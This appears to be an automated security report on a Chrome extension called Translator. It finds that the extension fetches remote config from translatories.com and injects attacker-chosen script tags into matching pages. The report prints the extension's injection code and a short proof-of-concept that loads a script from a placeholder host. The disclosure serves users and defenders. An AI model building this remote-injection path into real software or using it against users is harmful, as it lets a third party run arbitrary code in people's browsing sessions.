Is Translator safe?

High risk

Translator fetches remote feature settings that can add configured elements to matching webpages.

On install, Translator contacts translatories.com/features with a user ID and stores the returned feature settings. When a tab URL matches a returned pattern, the extension runs code in the page context to create or update an element and apply attributes from that remote config.

Peta Sittekv1.0.6Chrome Web Store
74Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote config can inject an attacker-chosen script tag into any page you visit

The extension fetches a config from translatories.com and stores it without validation.

On any matching page, we observed it inject a script element with attacker-controlled attributes into the page's own script context.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You navigate to a page whose URL matches a regular expression the extension previously stored from a remote config.

The match is tested on every tab navigation, not just at install time.

The extension did this

The extension builds a DOM element from that config and injects it directly into the page, running in the page's own script context.

The element's tag name and every attribute come from the config, not from the extension's own code.

Fields read from chrome.storage.local.sopt
  • URL pattern (r)
    example\.com

    A regular expression checked against every page you navigate to. Any matching page becomes an injection target.

  • Element tag (l[0])
    script

    The tag name of the DOM element the extension creates, for example a script tag.

  • Element attributes (l[1])
    {"src":"https://example.invalid/poc.js"}

    Key-value attributes applied to the new element with no allowlist, including its src.

  • Install UUID (uuid)
    3f9a1b2c-7e44-2abc-9def-1234567890ab

    A per-install identifier sent to the config server on every install and update request.

Page DOM modified

A new script element carrying a remote-supplied src attribute appears in the page body, added with createElement and setAttribute and no allowlist on either the tag name or the attribute names.

Target
the live DOM of any http or https page matching the config-supplied regex, tested against example.com
Before
<body>  <div>    <h1>Example Domain</h1>    <p>This domain is for use in illustrative examples in documents.</p>  </div></body>
After the extension changed it
<body>  <div>    <h1>Example Domain</h1>    <p>This domain is for use in illustrative examples in documents.</p>  </div>  <script src="https://example.invalid/poc.js"></script></body>
The code that does this

The unvalidated remote-config injection path

Readable version

applyStyle and matchDestination, renamed for readability

js/background.js
Background.prototype.applyStyle = function (tagName, attributes, selector) {  const doc = document;  if (!doc) return;  let el;  if (selector) {    el = document.querySelector(selector);    if (!el) return;  } else {    if (!tagName) return;    el = doc.createElement(tagName);    doc.documentElement && doc.documentElement.append && doc.documentElement.append(el);  }  if (el && attributes) {    for (const attrName in attributes) {      el.setAttribute(attrName, attributes[attrName]); // no allowlist on attrName or value    }  }  return el;};Background.prototype.matchDestination = async function (storage, tabUrl) {  if (!this.storageInited) storage = await chrome.storage.local.get();  const sopt = storage.sopt; // set verbatim from the /features/ response  if (!sopt || !tabUrl.startsWith("http") || !sopt.r) return false;  const urlPattern = new RegExp(storage.sopt?.r);  return !!tabUrl.match(urlPattern) && sopt.l; // sopt.l = [tagName, attributes]};

tabs.onUpdated handler, renamed for readability

js/background.js
const injectPayload = await background.matchDestination(storage, tab.url);if (injectPayload) {  chrome.scripting.executeScript({    target: { tabId },    world: "MAIN", // runs in the page's own JS context, not the isolated content-script world    func: background.applyStyle,    args: injectPayload, // [tagName, attributes] taken directly from the remote config    injectImmediately: true,  });}
Reproduce it yourself

Reproduces the injection using the extension's own unmodified code path, by setting the same storage shape the config server controls.

Requires
  • Chrome with this extension installed
  • Its service worker DevTools console open
translatories-injection-poc.js · js
// Sets the same chrome.storage.local.sopt shape that the// translatories.com/features/ response controls, then lets the// extension's own matchDestination + applyStyle path run unmodified// on the next matching navigation.chrome.storage.local.set({  sopt: {    r: "example\\.com",    l: ["script", { src: "https://example.invalid/poc.js" }]  }}, () => {  console.log("sopt set. Navigate a tab to https://example.com/ now.");});
How to run it
  1. 1Open chrome://extensions, enable Developer mode, click the service worker link under this extension.
  2. 2Paste this script into that console.
  3. 3Navigate a tab to https://example.com/ and inspect the page DOM.
Config server controlling the injected payload
    • translatories.com

    Serves the /features/ JSON on install and update. Its sopt.r regex and sopt.l tag and attributes are injected into matching pages with no client-side validation.

What it can do

Permissions this extension asks for, as declared in version 1.0.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Add items to the right-click menu

    contextMenus

  • Act on the current tab, but only after you click the extension

    activeTab

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Read information about your displays

    system.display

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Run its own code inside the pages you visit

    scripting

Where it sends data

Destinations our analysis observed Translator contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • translatories.com

    Translator sends data to translatories.com. No other extension we have analysed sends data here.

Updated 30 September 2026icchadngbpkcegnabnabhkjkfkfflmpj